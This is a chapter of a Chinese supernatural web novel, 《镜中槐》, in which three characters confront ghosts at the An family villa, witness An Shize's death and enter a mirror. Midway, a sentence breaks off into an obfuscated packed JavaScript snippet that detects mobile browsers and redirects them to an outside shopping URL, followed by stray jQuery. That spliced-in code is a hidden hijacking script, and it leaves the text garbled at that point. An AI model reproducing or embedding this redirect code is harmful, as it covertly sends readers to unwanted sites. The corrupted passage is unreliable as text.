87. 安氏诅咒4(副本开启预警)^^……
作品:《镜中槐》 陆漓远还在看白茹烟指的那片天空。
云层裂开一道豁口,安家别墅的虚影就悬在那片破碎的苍穹里,轮廓、门窗、庭院,和他身后的别墅一模一样,像被硬生生从人间拔起,又像是有人在天上玩起了叠叠乐。
陆漓远打了个寒颤,天上有无数黑影趴在那虚影别墅的栏杆、屋顶、花圃边缘,一动不动地盯着地面。
它们没有头,一颗颗头颅悬挂在肩膀下方,脖颈断裂的地方硬生生开出一朵又一朵惨白的菊花,花瓣层层叠叠,从伤口里往外翻卷,在半空里轻轻摇晃。
那些掉下来的头颅,齐齐望向他们所在的方向,像是无声的在说……
你们都会死,你们都会死,一起死吧——
陆漓远的肩膀被拍了一下,他回神,发现自己站在那扇发朽的铁门前,半只脚已经迈了进去,他正要退出去,手腕忽然一紧,那里不知何时缠上一圈黑色皮鞭。
攥着另一头鞭子的白茹烟轻轻一拽,陆漓远仰头倒在地上。
白茹烟若有所思的拖沓着鞋上前一步,扬起的尘土全扑到陆漓远脸上:“原来是这样……”
“安家是在搞什么阵法么,献祭活人,尸体应该都在井里……”
她转身,后脚跟朝后踢去,地上的陆漓远再次遭受扬尘攻击。
陆漓远:“……”
白茹烟收回鞭子,微微侧头,她是故意的,担心地上的人听不懂,她蹲下身,戏谑着笑着看着趴在地上的男人:“我真的好讨厌你,还有小温温,每次都要留下我照顾你们,我那么强的美少女战士,不能和尤尤冲锋在前线太难受了。”
“傻大个没听懂我在说什么吧?解释一下我,凡凡,安尤,我们三人和云清生活过一段时间,对于这种有精神攻击的鬼魂,我们是不受影响的,那个雾状人形,应该是发现尤尤无法受她蛊惑,所以变成安然用诅咒的方式诱导尤尤进入东北角花园。”
“东北角花园确实是开启副本的其中一个地点,但现在受到安家规矩的影响,尤尤想要进到副本,要消除那两条规矩,啊……你应该还想问,雾状人形为什么称呼尤尤为器皿吧?”
白茹烟露出一个狡黠的笑容:“我也不知道哦~它要咬你们,我就把它打散了,谁知道尤尤在问问题呀。”
她站起身,朝着别墅的方向走去:“走了,不要再看天上那群丑八怪了,你要是死了,尤尤会揍我的。”
陆漓远从地上爬起来,擦了把脸上的灰尘,白茹烟的话他听懂了,但不明白,不过这些都是不他该管的。
他只用支持,帮助安尤的决定就好,可……他跟在白茹烟身后,犹豫的拿出手机给宋柯凡发去消息:“宋同学,白同学她喜欢安尤吗?”
那边过了几秒,回复了两个字:喜欢。
陆漓远抿抿嘴,不安的又打了一行字,但他还未发出去,宋柯凡先发来一条。
宋柯凡:我也喜欢尤姐,晏温也喜欢,不出意外,连队,晏队也喜欢哦,而且尤尤还有两个竹马,云清和她最搭,你排不上号哦。
陆漓远心里不是滋味,有些失落的熄屏手机,放进口袋。
过了几秒,他又拿出手机看了一遍。
这话,怎么烟里烟气的?
走在他前面的白茹烟退出宋柯凡的号,蹦蹦跳跳的进入别墅,找她的尤尤去了。
等他们找到安尤时,安世泽已经咽气了。
他平躺在床上,脖颈处插着一支针管,透明的管壁里还残留着未推尽的空气,地板上,白大褂平摊着,轮廓规整的像个人形,内里空无一物。
它的周围是无数白色蜡烛,总的来说,安世泽的房间到处都是白色蜡烛。
烛火从墙角、桌沿、窗台一路蔓延,高低错落地立每个能落脚的角落,烛泪顺着蜡身蜿蜒流下,像风干的泪痕,密密麻麻铺满桌面与地面。
摇曳的烛影在墙上扭曲、拉长,如果有人仔细看,就会发现除了他们几人的身影,还有许多陌生的影子。
安尤拿出打火机,手里端着根白色蜡烛点燃,烛火在风里微微颤着,却始终没灭,滚烫的蜡油一滴接一滴,顺着烛身滑下,落在她裸露的手背上。
陆漓远微微蹙眉,情不自禁的抠掉她手背糊上的蜡油,试图拿过蜡烛,被安尤阻止。
烛火映亮她半边脸,明明灭灭,另一头隐在黑暗里,蜡油还在落,她的手已经被烫红了,陆漓远有些着急的看向白茹烟,却发现白茹烟不知从哪搞来一只蜡烛,和安尤一样端在手里。
两人几乎同时开口。
安尤:“你们回四合院吧。”
白茹烟:“你要救人?”
安尤盯了眼二人,没在多说什么点点头,示意白茹烟给陆漓远一根蜡烛。
安尤:“不回去,就和我一起进副本,别墅三楼走廊尽头有面镜子,别墅的背面有面镜子,东北角的花园井里有面镜子,还有三楼西头的房间里也有,按照安家的规矩,我们不能去西头的房间和东北角的花园。”
安尤:“保险起见,最安全的是别墅背面,我们从那里触发副本。”
白茹烟甩了甩手上的蜡油,不太在意的答应着:“烫死了……我随便,哪里都行,他跟着谁?”
安尤沉默几秒,开口:“跟着我。”
“进入副本后,我们可以用手机互相发消息,然后找安全地方汇合。”
前往安家别墅背面的时候,他们经过餐厅,并没有看到江韵他们,整个安家别墅,只有他们三个人,就连一开始要拦着安尤的保镖都不在了。
白茹烟抱着手里的小黑皮鞭,挤开陆漓远跟在安尤身后:“尤尤看我的新武器,可爱么?”
安尤面不改色,看了一眼:“从幸福一家人玩具店抢的?”
白茹烟一脸傲娇:“嗯哼!这应该是初始异能产生的特殊道具,我记得安家以前有个园丁,他打儿子很喜欢用鞭子。”
安尤看向满脸无辜的白茹烟:“白茹烟,进入副本后,不许杀人,无论死人还是活人,还是怪物,都不允许。”
白茹烟轻笑着,没有回答安尤这个问题,她瞥了眼身后的陆漓远,问道:“你到老渣男房间的时候,他没死透?”
安尤手中的白色蜡烛,烛芯越烧越短,滚烫的蜡油滴落在手背,火光也随之微弱摇曳,即将燃尽。
安尤示意白茹烟再复制一根给她,烛火熄灭的那一刻,一股刺骨的寒意毫无征兆地从脚底窜上来,新的蜡烛燃起,那股寒意悄然散去。
陆漓远察觉到什么,下意识低头看去。
摇曳的烛火将三人的影子投在地面,单薄、僵硬,可在那三道影子旁,还叠着一道道模糊、扭曲、不属于任何人的黑影。
它们一直在跟着他们。
但出于某种原因,它们无法靠近。
陆漓远脸色发白,下意识喊道:“安,安尤……”
安尤点点头,让白茹烟也给陆漓远更换了新的蜡烛:“别怕,蜡烛只要没有熄灭,他们就伤不到我们。”
她蹲了几秒,回答刚刚白茹烟的问题:“我赶来的时候,安世泽还活着。”
十几分钟前,安尤冲到安世泽所在的房间时,无数黑影缠绕在她身边企图把她拖进黑暗,但走廊的两侧到处都点着白色蜡烛,黑影只要被火光照到,就会如雾般散开,安尤动用异能拿出蜡烛点燃,发现她自己的蜡烛无用。
黑影怕的是安家别墅里这些正在燃烧的蜡烛。
她随便端起一根蜡烛,进入了安世泽的房间。
安世泽脸色憋的青紫,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313985|190463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他好像早就知道安尤会来一样,拿出新试剂,打在身上。
“他用新试剂强行续命,加上医生是以伤敌一千自损八百的方式杀他,我去的时候安世泽还吊着一口气在。”
安世泽强撑着坐起身子,强颜欢笑:“秋秋,啊……是尤尤回来了……”
“嗬嗬嗬……爸爸,爸爸给尤尤准备了归家礼物,在,在三楼的房间,还有花园,你应该,应该知道的……”
“救,救你江姨,和弟弟妹妹出来……诅咒,诅咒就会消失,你想知道那些就知道了……”
安尤试图往他嘴里倒宋柯凡的治愈药水,可安世泽喝下后,并没有什么用。
她微微蹙眉,看着她爸爸一点点断气,按理来说他们之间是没有什么情感的,但看他要死了,安尤心里还是有些不舒服。
周围响起零零碎碎飘忽的笑声,眼见着安世泽瞳孔涣散,安尤从空气中抽出新试剂打进安世泽的身体。
新试剂是来到安家前,她让白茹烟复制陈怀安的。
“回答我几个问题,为什么把我关在精神病院?”
她想亲口听她爸爸说背弃女儿的原因。
安世泽瞳孔放大,整个人痛苦不甘,被从死亡边缘来回的感觉并不舒服,他咳出鲜血,沙哑着嗓音:“你,你有很好的朋友,爸爸很欣慰……”
“……”
“白色蜡烛是新试剂做的对吗?”
安世泽指尖抓上自己的脖子,窒息感充斥他全身,可他死不了,他的命还被新试剂吊着。
“有,有有好多人爱你……我,我对不起你妈妈……”
“……”
“安然去哪了?”
听到这个名字,安世泽瞪大双眼,挣扎着伸出手,想要抓住安尤,安尤退后一步,又问了一遍:“安然去哪了?”
“不,不要伤害她,爸爸求你,让她活着,让她好好的活下去……”
“……”
安尤叙述完时,他们已经到了别墅的背面。
她从未来过别墅的背面。
这里没有前院的精致草坪,阳光被别墅高耸的墙体死死挡住,只在边缘切出一道刺眼的亮线,隔开了光鲜与荒芜,褪色的塑料滑梯歪在一边,秋千的铁链锈得发红,轻轻一碰就发出吱呀的闷响。
这里好像一个被遗忘的儿童游乐园,地上散落着缺了轮子的小车、掉了眼睛的布娃娃、积满灰尘的积木、断了柄的小铲子,还有几只早已瘪掉的彩色气球,蔫蔫地贴在墙角。
一颗枯死的老槐树树立在中央,它的身上倚着一架巨大的落地镜。
镜子周围摆满了熄灭的白色蜡烛,安尤走过,用手中的蜡烛点燃。
白茹烟撩起头发,拾起地上的布娃娃,嗤笑:“这娃娃真丑……尤尤,你有没有想过不救他们?”
跟在他们身后的陆漓远一顿,他忽然有一种白茹烟在诱导安尤不要救人的错觉。
他抿嘴看向安尤,安世泽亲眼死在她面前,死前还未关心过她一句,她……很难受吧?
“没有,江姨他们是无辜的。”
安尤神色平静,指尖点在那枚镜子上,镜面荡起波纹,他们周围响起断断续续的哭声,她顿了顿,将手伸进镜子。
“我大概能猜出来,东北角花园里是什么。”
“如果是那样,那些因为安世泽或洛司秋私心死掉的人也是无辜的。”
安尤半个身子进入了镜子,她眼前一阵发白,脑中有什么东西在流逝,和她沉进志远湖时的感觉一样,有东西被抽走了。
等她再睁开眼时,脑海里只剩下一句话。
【门是记忆的结界,跨过去,就忘了为什么要进来,像你,转头就忘了对我的爱】
安世泽,我恨你——

